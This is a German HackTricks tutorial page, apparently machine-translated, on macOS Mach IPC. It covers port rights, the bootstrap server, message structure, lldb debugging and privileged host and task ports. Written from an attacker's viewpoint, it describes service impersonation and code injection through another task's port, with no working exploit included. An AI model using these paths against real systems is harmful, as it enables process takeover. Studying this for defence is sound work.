macOS IPC - Inter Process Communication

Reading time: 36 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstützen Sie HackTricks

Mach-Nachrichten über Ports

Grundlegende Informationen

Mach verwendet Aufgaben als die kleinste Einheit zum Teilen von Ressourcen, und jede Aufgabe kann mehrere Threads enthalten. Diese Aufgaben und Threads sind 1:1 auf POSIX-Prozesse und -Threads abgebildet.

Die Kommunikation zwischen Aufgaben erfolgt über Mach Inter-Process Communication (IPC) und nutzt einseitige Kommunikationskanäle. Nachrichten werden zwischen Ports übertragen, die eine Art Nachrichtenwarteschlangen sind, die vom Kernel verwaltet werden.

Ein Port ist das grundlegende Element von Mach IPC. Er kann verwendet werden, um Nachrichten zu senden und zu empfangen.

Jeder Prozess hat eine IPC-Tabelle, in der die Mach-Ports des Prozesses gefunden werden können. Der Name eines Mach-Ports ist tatsächlich eine Nummer (ein Zeiger auf das Kernel-Objekt).

Ein Prozess kann auch einen Portnamen mit bestimmten Rechten an eine andere Aufgabe senden, und der Kernel wird diesen Eintrag in der IPC-Tabelle der anderen Aufgabe erscheinen lassen.

Portrechte

Portrechte, die definieren, welche Operationen eine Aufgabe ausführen kann, sind entscheidend für diese Kommunikation. Die möglichen Portrechte sind (Definitionen hier):

  • Empfangsrecht, das das Empfangen von Nachrichten, die an den Port gesendet werden, erlaubt. Mach-Ports sind MPSC (multiple-producer, single-consumer) Warteschlangen, was bedeutet, dass es im gesamten System nur ein Empfangsrecht für jeden Port geben kann (im Gegensatz zu Pipes, bei denen mehrere Prozesse alle Dateideskriptoren zum Leseende einer Pipe halten können).
  • Eine Aufgabe mit dem Empfangsrecht kann Nachrichten empfangen und Sende-Rechte erstellen, die es ihr ermöglichen, Nachrichten zu senden. Ursprünglich hat nur die eigene Aufgabe das Empfangsrecht über ihren Port.
  • Wenn der Besitzer des Empfangsrechts stirbt oder es tötet, wird das Sende-Recht nutzlos (toter Name).
  • Sende-Recht, das das Senden von Nachrichten an den Port erlaubt.
  • Das Sende-Recht kann kloniert werden, sodass eine Aufgabe, die ein Sende-Recht besitzt, das Recht klonen und einer dritten Aufgabe gewähren kann.
  • Beachten Sie, dass Portrechte auch über Mach-Nachrichten übertragen werden können.
  • Send-once-Recht, das das Senden einer Nachricht an den Port erlaubt und dann verschwindet.
  • Dieses Recht kann nicht kloniert werden, aber es kann verschoben werden.
  • Portset-Recht, das ein Portset anstelle eines einzelnen Ports bezeichnet. Das Dequeuen einer Nachricht aus einem Portset dequeuet eine Nachricht von einem der enthaltenen Ports. Portsets können verwendet werden, um gleichzeitig auf mehreren Ports zu hören, ähnlich wie select/poll/epoll/kqueue in Unix.
  • Toter Name, der kein tatsächliches Portrecht ist, sondern lediglich ein Platzhalter. Wenn ein Port zerstört wird, verwandeln sich alle bestehenden Portrechte für den Port in tote Namen.

Aufgaben können SEND-Rechte an andere übertragen, die es ihnen ermöglichen, Nachrichten zurückzusenden. SEND-Rechte können auch geklont werden, sodass eine Aufgabe das Recht duplizieren und einer dritten Aufgabe geben kann. Dies, kombiniert mit einem Zwischenprozess, der als Bootstrap-Server bekannt ist, ermöglicht eine effektive Kommunikation zwischen Aufgaben.

Datei-Ports

Datei-Ports ermöglichen es, Dateideskriptoren in Mac-Ports zu kapseln (unter Verwendung von Mach-Port-Rechten). Es ist möglich, einen fileport aus einem gegebenen FD mit fileport_makeport zu erstellen und einen FD aus einem fileport mit fileport_makefd zu erstellen.

Eine Kommunikation herstellen

Wie bereits erwähnt, ist es möglich, Rechte über Mach-Nachrichten zu senden, jedoch kann man kein Recht senden, ohne bereits ein Recht zu haben, um eine Mach-Nachricht zu senden. Wie wird also die erste Kommunikation hergestellt?

Dafür ist der Bootstrap-Server (launchd in mac) beteiligt, da jeder ein SEND-Recht zum Bootstrap-Server erhalten kann, ist es möglich, ihn um ein Recht zu bitten, um eine Nachricht an einen anderen Prozess zu senden:

  1. Aufgabe A erstellt einen neuen Port und erhält das EMPFANGSRECHT dafür.
  2. Aufgabe A, die Inhaberin des Empfangsrechts, generiert ein SEND-Recht für den Port.
  3. Aufgabe A stellt eine Verbindung mit dem Bootstrap-Server her und sendet ihm das SEND-Recht für den Port, den sie zu Beginn generiert hat.
  • Denken Sie daran, dass jeder ein SEND-Recht zum Bootstrap-Server erhalten kann.
  1. Aufgabe A sendet eine bootstrap_register-Nachricht an den Bootstrap-Server, um den gegebenen Port mit einem Namen wie com.apple.taska zu verknüpfen.
  2. Aufgabe B interagiert mit dem Bootstrap-Server, um eine Bootstrap-Suche nach dem Dienstnamen (bootstrap_lookup) durchzuführen. Damit der Bootstrap-Server antworten kann, sendet Aufgabe B ihm ein SEND-Recht zu einem Port, den sie zuvor erstellt hat, innerhalb der Suchnachricht. Wenn die Suche erfolgreich ist, dupliziert der Server das SEND-Recht, das von Aufgabe A empfangen wurde, und überträgt es an Aufgabe B.
  • Denken Sie daran, dass jeder ein SEND-Recht zum Bootstrap-Server erhalten kann.
  1. Mit diesem SEND-Recht ist Aufgabe B in der Lage, eine Nachricht an Aufgabe A zu senden.
  2. Für eine bidirektionale Kommunikation generiert normalerweise Aufgabe B einen neuen Port mit einem EMPFANGS-Recht und einem SEND-Recht und gibt das SEND-Recht an Aufgabe A, damit sie Nachrichten an Aufgabe B senden kann (bidirektionale Kommunikation).

Der Bootstrap-Server kann den Dienstnamen, der von einer Aufgabe beansprucht wird, nicht authentifizieren. Das bedeutet, dass eine Aufgabe potenziell jede Systemaufgabe impersonieren könnte, indem sie fälschlicherweise einen Autorisierungsdienstnamen beansprucht und dann jede Anfrage genehmigt.

Dann speichert Apple die Namen der systemeigenen Dienste in sicheren Konfigurationsdateien, die sich in SIP-geschützten Verzeichnissen befinden: /System/Library/LaunchDaemons und /System/Library/LaunchAgents. Neben jedem Dienstnamen wird auch die assoziierte Binärdatei gespeichert. Der Bootstrap-Server erstellt und hält ein EMPFANGSRECHT für jeden dieser Dienstnamen.

Für diese vordefinierten Dienste unterscheidet sich der Suchprozess leicht. Wenn ein Dienstname gesucht wird, startet launchd den Dienst dynamisch. Der neue Workflow ist wie folgt:

  • Aufgabe B initiiert eine Bootstrap-Suche nach einem Dienstnamen.
  • launchd überprüft, ob die Aufgabe läuft, und wenn nicht, startet sie sie.
  • Aufgabe A (der Dienst) führt eine Bootstrap-Check-in-Operation (bootstrap_check_in()) durch. Hier erstellt der Bootstrap-Server ein SEND-Recht, behält es und überträgt das EMPFANGSRECHT an Aufgabe A.
  • launchd dupliziert das SEND-Recht und sendet es an Aufgabe B.
  • Aufgabe B generiert einen neuen Port mit einem EMPFANGS-Recht und einem SEND-Recht und gibt das SEND-Recht an Aufgabe A (den Dienst) weiter, damit sie Nachrichten an Aufgabe B senden kann (bidirektionale Kommunikation).

Dieser Prozess gilt jedoch nur für vordefinierte Systemaufgaben. Nicht-Systemaufgaben funktionieren weiterhin wie ursprünglich beschrieben, was potenziell eine Impersonation ermöglichen könnte.

caution

Daher sollte launchd niemals abstürzen, sonst stürzt das gesamte System ab.

Eine Mach-Nachricht

Weitere Informationen hier finden

Die Funktion mach_msg, die im Wesentlichen ein Systemaufruf ist, wird verwendet, um Mach-Nachrichten zu senden und zu empfangen. Die Funktion erfordert, dass die zu sendende Nachricht als erstes Argument übergeben wird. Diese Nachricht muss mit einer mach_msg_header_t-Struktur beginnen, gefolgt vom eigentlichen Nachrichteninhalt. Die Struktur ist wie folgt definiert:

c
typedef struct {
mach_msg_bits_t               msgh_bits;
mach_msg_size_t               msgh_size;
mach_port_t                   msgh_remote_port;
mach_port_t                   msgh_local_port;
mach_port_name_t              msgh_voucher_port;
mach_msg_id_t                 msgh_id;
} mach_msg_header_t;

Prozesse, die über ein receive right verfügen, können Nachrichten über einen Mach-Port empfangen. Im Gegensatz dazu wird den Sendenden ein send oder ein send-once right gewährt. Das send-once right ist ausschließlich zum Senden einer einzelnen Nachricht gedacht, nach der es ungültig wird.

Das anfängliche Feld msgh_bits ist ein Bitmap:

  • Das erste Bit (am signifikantesten) wird verwendet, um anzuzeigen, dass eine Nachricht komplex ist (mehr dazu weiter unten)
  • Das 3. und 4. Bit werden vom Kernel verwendet
  • Die 5 am wenigsten signifikanten Bits des 2. Bytes können für voucher verwendet werden: ein anderer Typ von Port, um Schlüssel/Wert-Kombinationen zu senden.
  • Die 5 am wenigsten signifikanten Bits des 3. Bytes können für local port verwendet werden
  • Die 5 am wenigsten signifikanten Bits des 4. Bytes können für remote port verwendet werden

Die Typen, die im Voucher, lokalen und entfernten Ports angegeben werden können, sind (aus mach/message.h):

c
#define MACH_MSG_TYPE_MOVE_RECEIVE      16      /* Must hold receive right */
#define MACH_MSG_TYPE_MOVE_SEND         17      /* Must hold send right(s) */
#define MACH_MSG_TYPE_MOVE_SEND_ONCE    18      /* Must hold sendonce right */
#define MACH_MSG_TYPE_COPY_SEND         19      /* Must hold send right(s) */
#define MACH_MSG_TYPE_MAKE_SEND         20      /* Must hold receive right */
#define MACH_MSG_TYPE_MAKE_SEND_ONCE    21      /* Must hold receive right */
#define MACH_MSG_TYPE_COPY_RECEIVE      22      /* NOT VALID */
#define MACH_MSG_TYPE_DISPOSE_RECEIVE   24      /* must hold receive right */
#define MACH_MSG_TYPE_DISPOSE_SEND      25      /* must hold send right(s) */
#define MACH_MSG_TYPE_DISPOSE_SEND_ONCE 26      /* must hold sendonce right */

Zum Beispiel kann MACH_MSG_TYPE_MAKE_SEND_ONCE verwendet werden, um anzuzeigen, dass ein send-once Recht für diesen Port abgeleitet und übertragen werden sollte. Es kann auch MACH_PORT_NULL angegeben werden, um zu verhindern, dass der Empfänger antworten kann.

Um eine einfache zweiseitige Kommunikation zu erreichen, kann ein Prozess einen mach port im mach Nachrichtenkopf angeben, der als Antwortport (msgh_local_port) bezeichnet wird, wo der Empfänger der Nachricht eine Antwort auf diese Nachricht senden kann.

tip

Beachten Sie, dass diese Art der zweiseitigen Kommunikation in XPC-Nachrichten verwendet wird, die eine Antwort erwarten (xpc_connection_send_message_with_reply und xpc_connection_send_message_with_reply_sync). Aber normalerweise werden verschiedene Ports erstellt, wie zuvor erklärt, um die zweiseitige Kommunikation zu ermöglichen.

Die anderen Felder des Nachrichtenkopfs sind:

  • msgh_size: die Größe des gesamten Pakets.
  • msgh_remote_port: der Port, an den diese Nachricht gesendet wird.
  • msgh_voucher_port: mach vouchers.
  • msgh_id: die ID dieser Nachricht, die vom Empfänger interpretiert wird.

caution

Beachten Sie, dass mach-Nachrichten über einen mach port gesendet werden, der einen einzelnen Empfänger und einen mehreren Sender Kommunikationskanal darstellt, der im mach-Kernel integriert ist. Mehrere Prozesse können Nachrichten an einen mach-Port senden, aber zu jedem Zeitpunkt kann nur ein einzelner Prozess von ihm lesen.

Nachrichten werden dann durch den mach_msg_header_t-Header gebildet, gefolgt vom Inhalt und dem Trailer (falls vorhanden), und sie können die Erlaubnis zur Antwort darauf gewähren. In diesen Fällen muss der Kernel die Nachricht nur von einer Aufgabe zur anderen weiterleiten.

Ein Trailer ist Informationen, die vom Kernel zur Nachricht hinzugefügt werden (kann nicht vom Benutzer festgelegt werden), die beim Empfang der Nachricht mit den Flags MACH_RCV_TRAILER_<trailer_opt> angefordert werden können (es gibt verschiedene Informationen, die angefordert werden können).

Komplexe Nachrichten

Es gibt jedoch auch andere, komplexere Nachrichten, wie solche, die zusätzliche Portrechte übergeben oder Speicher teilen, bei denen der Kernel auch diese Objekte an den Empfänger senden muss. In diesen Fällen wird das bedeutendste Bit des Headers msgh_bits gesetzt.

Die möglichen Deskriptoren, die übergeben werden können, sind in mach/message.h definiert:

c
#define MACH_MSG_PORT_DESCRIPTOR                0
#define MACH_MSG_OOL_DESCRIPTOR                 1
#define MACH_MSG_OOL_PORTS_DESCRIPTOR           2
#define MACH_MSG_OOL_VOLATILE_DESCRIPTOR        3
#define MACH_MSG_GUARDED_PORT_DESCRIPTOR        4

#pragma pack(push, 4)

typedef struct{
natural_t                     pad1;
mach_msg_size_t               pad2;
unsigned int                  pad3 : 24;
mach_msg_descriptor_type_t    type : 8;
} mach_msg_type_descriptor_t;

In 32-Bit-Systemen sind alle Deskriptoren 12B groß, und der Deskriptortyp befindet sich im 11. Deskriptor. In 64-Bit-Systemen variieren die Größen.

caution

Der Kernel kopiert die Deskriptoren von einer Aufgabe zur anderen, erstellt jedoch zuerst eine Kopie im Kernel-Speicher. Diese Technik, bekannt als "Feng Shui", wurde in mehreren Exploits missbraucht, um den Kernel dazu zu bringen, Daten in seinem Speicher zu kopieren, wodurch ein Prozess Deskriptoren an sich selbst sendet. Dann kann der Prozess die Nachrichten empfangen (der Kernel wird sie freigeben).

Es ist auch möglich, Portrechte an einen verwundbaren Prozess zu senden, und die Portrechte werden einfach im Prozess angezeigt (auch wenn er sie nicht verwaltet).

Mac Ports APIs

Beachten Sie, dass Ports mit dem Aufgabennamespace verknüpft sind. Um einen Port zu erstellen oder zu suchen, wird auch der Aufgabennamespace abgefragt (mehr in mach/mach_port.h):

  • mach_port_allocate | mach_port_construct: Erstellen Sie einen Port.
  • mach_port_allocate kann auch ein Port-Set erstellen: Empfangsrecht über eine Gruppe von Ports. Jedes Mal, wenn eine Nachricht empfangen wird, wird der Port angegeben, von dem sie stammt.
  • mach_port_allocate_name: Ändern Sie den Namen des Ports (standardmäßig 32-Bit-Ganzzahl)
  • mach_port_names: Holen Sie sich Portnamen von einem Ziel
  • mach_port_type: Holen Sie sich die Rechte einer Aufgabe über einen Namen
  • mach_port_rename: Benennen Sie einen Port um (wie dup2 für FDs)
  • mach_port_allocate: Weisen Sie einen neuen RECEIVE, PORT_SET oder DEAD_NAME zu
  • mach_port_insert_right: Erstellen Sie ein neues Recht in einem Port, in dem Sie RECEIVE haben
  • mach_port_...
  • mach_msg | mach_msg_overwrite: Funktionen, die verwendet werden, um Mach-Nachrichten zu senden und zu empfangen. Die Überschreibungsversion ermöglicht es, einen anderen Puffer für den Nachrichteneingang anzugeben (die andere Version verwendet einfach denselben).

Debug mach_msg

Da die Funktionen mach_msg und mach_msg_overwrite verwendet werden, um Nachrichten zu senden und zu empfangen, würde das Setzen eines Haltepunkts auf ihnen ermöglichen, die gesendeten und empfangenen Nachrichten zu inspizieren.

Zum Beispiel starten Sie das Debuggen einer beliebigen Anwendung, die Sie debuggen können, da sie libSystem.B laden wird, die diese Funktion verwendet.

(lldb) b mach_msg
Breakpoint 1: where = libsystem_kernel.dylib`mach_msg, address = 0x00000001803f6c20
(lldb) r
Prozess 71019 gestartet: '/Users/carlospolop/Desktop/sandboxedapp/SandboxedShellAppDown.app/Contents/MacOS/SandboxedShellApp' (arm64)
Prozess 71019 gestoppt
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
frame #0: 0x0000000181d3ac20 libsystem_kernel.dylib`mach_msg
libsystem_kernel.dylib`mach_msg:
->  0x181d3ac20 <+0>:  pacibsp
0x181d3ac24 <+4>:  sub    sp, sp, #0x20
0x181d3ac28 <+8>:  stp    x29, x30, [sp, #0x10]
0x181d3ac2c <+12>: add    x29, sp, #0x10
Ziel 0: (SandboxedShellApp) gestoppt.
(lldb) bt
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
* frame #0: 0x0000000181d3ac20 libsystem_kernel.dylib`mach_msg
frame #1: 0x0000000181ac3454 libxpc.dylib`_xpc_pipe_mach_msg + 56
frame #2: 0x0000000181ac2c8c libxpc.dylib`_xpc_pipe_routine + 388
frame #3: 0x0000000181a9a710 libxpc.dylib`_xpc_interface_routine + 208
frame #4: 0x0000000181abbe24 libxpc.dylib`_xpc_init_pid_domain + 348
frame #5: 0x0000000181abb398 libxpc.dylib`_xpc_uncork_pid_domain_locked + 76
frame #6: 0x0000000181abbbfc libxpc.dylib`_xpc_early_init + 92
frame #7: 0x0000000181a9583c libxpc.dylib`_libxpc_initializer + 1104
frame #8: 0x000000018e59e6ac libSystem.B.dylib`libSystem_initializer + 236
frame #9: 0x0000000181a1d5c8 dyld`invocation function for block in dyld4::Loader::findAndRunAllInitializers(dyld4::RuntimeState&) const::$_0::operator()() const + 168

Um die Argumente von mach_msg zu erhalten, überprüfen Sie die Register. Dies sind die Argumente (aus mach/message.h):

c
__WATCHOS_PROHIBITED __TVOS_PROHIBITED
extern mach_msg_return_t        mach_msg(
mach_msg_header_t *msg,
mach_msg_option_t option,
mach_msg_size_t send_size,
mach_msg_size_t rcv_size,
mach_port_name_t rcv_name,
mach_msg_timeout_t timeout,
mach_port_name_t notify);

Holen Sie die Werte aus den Registrierungen:

armasm
reg read $x0 $x1 $x2 $x3 $x4 $x5 $x6
x0 = 0x0000000124e04ce8 ;mach_msg_header_t (*msg)
x1 = 0x0000000003114207 ;mach_msg_option_t (option)
x2 = 0x0000000000000388 ;mach_msg_size_t (send_size)
x3 = 0x0000000000000388 ;mach_msg_size_t (rcv_size)
x4 = 0x0000000000001f03 ;mach_port_name_t (rcv_name)
x5 = 0x0000000000000000 ;mach_msg_timeout_t (timeout)
x6 = 0x0000000000000000 ;mach_port_name_t (notify)

Überprüfen Sie den Nachrichtenkopf, indem Sie das erste Argument überprüfen:

armasm
(lldb) x/6w $x0
0x124e04ce8: 0x00131513 0x00000388 0x00000807 0x00001f03
0x124e04cf8: 0x00000b07 0x40000322

; 0x00131513 -> mach_msg_bits_t (msgh_bits) = 0x13 (MACH_MSG_TYPE_COPY_SEND) in local | 0x1500 (MACH_MSG_TYPE_MAKE_SEND_ONCE) in remote | 0x130000 (MACH_MSG_TYPE_COPY_SEND) in voucher
; 0x00000388 -> mach_msg_size_t (msgh_size)
; 0x00000807 -> mach_port_t (msgh_remote_port)
; 0x00001f03 -> mach_port_t (msgh_local_port)
; 0x00000b07 -> mach_port_name_t (msgh_voucher_port)
; 0x40000322 -> mach_msg_id_t (msgh_id)

Dieser Typ von mach_msg_bits_t ist sehr verbreitet, um eine Antwort zu ermöglichen.

Ports auflisten

bash
lsmp -p <pid>

sudo lsmp -p 1
Process (1) : launchd
name      ipc-object    rights     flags   boost  reqs  recv  send sonce oref  qlimit  msgcount  context            identifier  type
---------   ----------  ----------  -------- -----  ---- ----- ----- ----- ----  ------  --------  ------------------ ----------- ------------
0x00000203  0x181c4e1d  send        --------        ---            2                                                  0x00000000  TASK-CONTROL SELF (1) launchd
0x00000303  0x183f1f8d  recv        --------     0  ---      1               N        5         0  0x0000000000000000
0x00000403  0x183eb9dd  recv        --------     0  ---      1               N        5         0  0x0000000000000000
0x0000051b  0x1840cf3d  send        --------        ---            2        ->        6         0  0x0000000000000000 0x00011817  (380) WindowServer
0x00000603  0x183f698d  recv        --------     0  ---      1               N        5         0  0x0000000000000000
0x0000070b  0x175915fd  recv,send   ---GS---     0  ---      1     2         Y        5         0  0x0000000000000000
0x00000803  0x1758794d  send        --------        ---            1                                                  0x00000000  CLOCK
0x0000091b  0x192c71fd  send        --------        D--            1        ->        1         0  0x0000000000000000 0x00028da7  (418) runningboardd
0x00000a6b  0x1d4a18cd  send        --------        ---            2        ->       16         0  0x0000000000000000 0x00006a03  (92247) Dock
0x00000b03  0x175a5d4d  send        --------        ---            2        ->       16         0  0x0000000000000000 0x00001803  (310) logd
[...]
0x000016a7  0x192c743d  recv,send   --TGSI--     0  ---      1     1         Y       16         0  0x0000000000000000
+     send        --------        ---            1         <-                                       0x00002d03  (81948) seserviced
+     send        --------        ---            1         <-                                       0x00002603  (74295) passd
[...]

Der Name ist der Standardname, der dem Port zugewiesen wird (überprüfen Sie, wie er in den ersten 3 Bytes zunimmt). Das ipc-object ist der obfuskierte eindeutige Identifikator des Ports.
Beachten Sie auch, wie die Ports mit nur send Rechten den Besitzer identifizieren (Portname + pid).
Beachten Sie auch die Verwendung von +, um andere Aufgaben, die mit demselben Port verbunden sind, anzuzeigen.

Es ist auch möglich, procesxp zu verwenden, um auch die registrierten Dienstnamen zu sehen (mit deaktiviertem SIP aufgrund des Bedarfs an com.apple.system-task-port):

procesp 1 ports

Sie können dieses Tool auf iOS installieren, indem Sie es von http://newosxbook.com/tools/binpack64-256.tar.gz herunterladen.

Codebeispiel

Beachten Sie, wie der Sender einen Port zuweist, ein Senderecht für den Namen org.darlinghq.example erstellt und es an den Bootstrap-Server sendet, während der Sender um das Senderecht dieses Namens bittet und es verwendet, um eine Nachricht zu senden.

c
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc receiver.c -o receiver

#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>

int main() {

// Create a new port.
mach_port_t port;
kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
if (kr != KERN_SUCCESS) {
printf("mach_port_allocate() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_allocate() created port right name %d\n", port);


// Give us a send right to this port, in addition to the receive right.
kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
if (kr != KERN_SUCCESS) {
printf("mach_port_insert_right() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_insert_right() inserted a send right\n");


// Send the send right to the bootstrap server, so that it can be looked up by other processes.
kr = bootstrap_register(bootstrap_port, "org.darlinghq.example", port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_register() failed with code 0x%x\n", kr);
return 1;
}
printf("bootstrap_register()'ed our port\n");


// Wait for a message.
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
mach_msg_trailer_t trailer;
} message;

kr = mach_msg(
&message.header,  // Same as (mach_msg_header_t *) &message.
MACH_RCV_MSG,     // Options. We're receiving a message.
0,                // Size of the message being sent, if sending.
sizeof(message),  // Size of the buffer for receiving.
port,             // The port to receive a message on.
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL    // Port for the kernel to send notifications about this message to.
);
if (kr != KERN_SUCCESS) {
printf("mach_msg() failed with code 0x%x\n", kr);
return 1;
}
printf("Got a message\n");

message.some_text[9] = 0;
printf("Text: %s, number: %d\n", message.some_text, message.some_number);
}

Privilegierte Ports

Es gibt einige spezielle Ports, die es ermöglichen, bestimmte sensible Aktionen durchzuführen oder auf bestimmte sensible Daten zuzugreifen, falls eine Aufgabe die SEND-Berechtigungen über sie hat. Dies macht diese Ports aus der Sicht eines Angreifers sehr interessant, nicht nur wegen der Möglichkeiten, sondern auch weil es möglich ist, SEND-Berechtigungen über Aufgaben hinweg zu teilen.

Host-Spezialports

Diese Ports werden durch eine Nummer dargestellt.

SEND-Rechte können durch den Aufruf von host_get_special_port und RECEIVE-Rechte durch den Aufruf von host_set_special_port erlangt werden. Beide Aufrufe erfordern jedoch den host_priv-Port, auf den nur der Root-Zugriff hat. Darüber hinaus konnte der Root in der Vergangenheit host_set_special_port aufrufen und beliebige Ports übernehmen, was es beispielsweise ermöglichte, Codesignaturen zu umgehen, indem HOST_KEXTD_PORT übernommen wurde (SIP verhindert dies jetzt).

Diese sind in 2 Gruppen unterteilt: Die ersten 7 Ports gehören dem Kernel, wobei der 1 HOST_PORT, der 2 HOST_PRIV_PORT, der 3 HOST_IO_MASTER_PORT und der 7 HOST_MAX_SPECIAL_KERNEL_PORT ist.
Die Ports, die ab der Nummer 8 beginnen, sind im Besitz von System-Daemons und können in host_special_ports.h gefunden werden.

  • Host-Port: Wenn ein Prozess SEND-Berechtigung über diesen Port hat, kann er Informationen über das System abrufen, indem er seine Routinen aufruft wie:
  • host_processor_info: Prozessorinformationen abrufen
  • host_info: Hostinformationen abrufen
  • host_virtual_physical_table_info: Virtuelle/Physische Seitentabelle (erfordert MACH_VMDEBUG)
  • host_statistics: Hoststatistiken abrufen
  • mach_memory_info: Kernel-Speicherlayout abrufen
  • Host Priv-Port: Ein Prozess mit SEND-Recht über diesen Port kann privilegierte Aktionen durchführen, wie Bootdaten anzeigen oder versuchen, eine Kernel-Erweiterung zu laden. Der Prozess muss Root sein, um diese Berechtigung zu erhalten.
  • Darüber hinaus ist es erforderlich, um die kext_request-API aufzurufen, andere Berechtigungen com.apple.private.kext* zu haben, die nur Apple-Binärdateien gewährt werden.
  • Andere Routinen, die aufgerufen werden können, sind:
  • host_get_boot_info: machine_boot_info() abrufen
  • host_priv_statistics: Privilegierte Statistiken abrufen
  • vm_allocate_cpm: Kontinuierlichen physischen Speicher zuweisen
  • host_processors: Senderecht an Host-Prozessoren
  • mach_vm_wire: Speicher resident machen
  • Da Root auf diese Berechtigung zugreifen kann, könnte er host_set_[special/exception]_port[s] aufrufen, um Host-Spezial- oder Ausnahmeports zu übernehmen.

Es ist möglich, alle Host-Spezialports zu sehen, indem man Folgendes ausführt:

bash
procexp all ports | grep "HSP"

Task Special Ports

Dies sind Ports, die für bekannte Dienste reserviert sind. Es ist möglich, sie mit task_[get/set]_special_port abzurufen/zu setzen. Sie sind in task_special_ports.h zu finden:

c
typedef	int	task_special_port_t;

#define TASK_KERNEL_PORT	1	/* Represents task to the outside
world.*/
#define TASK_HOST_PORT		2	/* The host (priv) port for task.  */
#define TASK_BOOTSTRAP_PORT	4	/* Bootstrap environment for task. */
#define TASK_WIRED_LEDGER_PORT	5	/* Wired resource ledger for task. */
#define TASK_PAGED_LEDGER_PORT	6	/* Paged resource ledger for task. */
  • TASK_KERNEL_PORT[task-self send right]: Der Port, der zur Steuerung dieser Aufgabe verwendet wird. Wird verwendet, um Nachrichten zu senden, die die Aufgabe betreffen. Dies ist der Port, der von mach_task_self (siehe Task Ports unten) zurückgegeben wird.
  • TASK_BOOTSTRAP_PORT[bootstrap send right]: Der Bootstrap-Port der Aufgabe. Wird verwendet, um Nachrichten zu senden, die die Rückgabe anderer Systemdienstports anfordern.
  • TASK_HOST_NAME_PORT[host-self send right]: Der Port, der verwendet wird, um Informationen über den enthaltenen Host anzufordern. Dies ist der Port, der von mach_host_self zurückgegeben wird.
  • TASK_WIRED_LEDGER_PORT[ledger send right]: Der Port, der die Quelle benennt, aus der diese Aufgabe ihren festen Kernel-Speicher bezieht.
  • TASK_PAGED_LEDGER_PORT[ledger send right]: Der Port, der die Quelle benennt, aus der diese Aufgabe ihren verwalteten Standardspeicher bezieht.

Task Ports

Ursprünglich hatte Mach keine "Prozesse", sondern "Aufgaben", die eher als Container von Threads betrachtet wurden. Als Mach mit BSD zusammengeführt wurde, wurde jede Aufgabe mit einem BSD-Prozess korreliert. Daher hat jeder BSD-Prozess die Details, die er benötigt, um ein Prozess zu sein, und jede Mach-Aufgabe hat auch ihre inneren Abläufe (außer für die nicht existierende pid 0, die die kernel_task ist).

Es gibt zwei sehr interessante Funktionen, die damit zusammenhängen:

  • task_for_pid(target_task_port, pid, &task_port_of_pid): Erhalte ein SEND-Recht für den Task-Port der Aufgabe, die mit dem durch die pid angegebenen verbunden ist, und gib es an den angegebenen target_task_port weiter (der normalerweise die aufrufende Aufgabe ist, die mach_task_self() verwendet hat, aber auch ein SEND-Port über eine andere Aufgabe sein könnte).
  • pid_for_task(task, &pid): Gegeben ein SEND-Recht zu einer Aufgabe, finde heraus, zu welcher PID diese Aufgabe gehört.

Um Aktionen innerhalb der Aufgabe auszuführen, benötigte die Aufgabe ein SEND-Recht zu sich selbst, indem sie mach_task_self() aufruft (was den task_self_trap (28) verwendet). Mit dieser Berechtigung kann eine Aufgabe mehrere Aktionen ausführen, wie:

  • task_threads: Erhalte SEND-Recht über alle Task-Ports der Threads der Aufgabe
  • task_info: Erhalte Informationen über eine Aufgabe
  • task_suspend/resume: Unterbreche oder setze eine Aufgabe fort
  • task_[get/set]_special_port
  • thread_create: Erstelle einen Thread
  • task_[get/set]_state: Steuere den Zustand der Aufgabe
  • und mehr kann in mach/task.h gefunden werden

caution

Beachte, dass es mit einem SEND-Recht über einen Task-Port einer anderen Aufgabe möglich ist, solche Aktionen über eine andere Aufgabe auszuführen.

Darüber hinaus ist der task_port auch der vm_map-Port, der es ermöglicht, Speicher innerhalb einer Aufgabe zu lesen und zu manipulieren mit Funktionen wie vm_read() und vm_write(). Das bedeutet im Grunde, dass eine Aufgabe mit SEND-Rechten über den task_port einer anderen Aufgabe in der Lage sein wird, Code in diese Aufgabe zu injizieren.

Denke daran, dass, weil der Kernel auch eine Aufgabe ist, wenn es jemandem gelingt, SEND-Berechtigungen über die kernel_task zu erhalten, er in der Lage sein wird, den Kernel alles ausführen zu lassen (Jailbreaks).

  • Rufe mach_task_self() auf, um den Namen für diesen Port für die aufrufende Aufgabe zu erhalten. Dieser Port wird nur vererbt über exec(); eine neue Aufgabe, die mit fork() erstellt wird, erhält einen neuen Task-Port (als Sonderfall erhält eine Aufgabe auch einen neuen Task-Port nach exec() in einem suid-Binary). Der einzige Weg, eine Aufgabe zu starten und ihren Port zu erhalten, besteht darin, den "port swap dance" während eines fork() durchzuführen.
  • Dies sind die Einschränkungen für den Zugriff auf den Port (aus macos_task_policy aus dem Binary AppleMobileFileIntegrity):
  • Wenn die App die com.apple.security.get-task-allow-Berechtigung hat, können Prozesse vom gleichen Benutzer auf den Task-Port zugreifen (häufig von Xcode zum Debuggen hinzugefügt). Der Notarisierungs-Prozess erlaubt dies nicht für Produktionsversionen.
  • Apps mit der com.apple.system-task-ports-Berechtigung können den Task-Port für jeden Prozess erhalten, außer für den Kernel. In älteren Versionen wurde es task_for_pid-allow genannt. Dies wird nur Apple-Anwendungen gewährt.
  • Root kann auf Task-Ports von Anwendungen nicht zugreifen, die mit einer hardened Runtime (und nicht von Apple) kompiliert wurden.

Der Task-Name-Port: Eine unprivilegierte Version des Task-Ports. Er verweist auf die Aufgabe, erlaubt jedoch nicht, sie zu steuern. Das einzige, was anscheinend darüber verfügbar ist, ist task_info().

Thread Ports

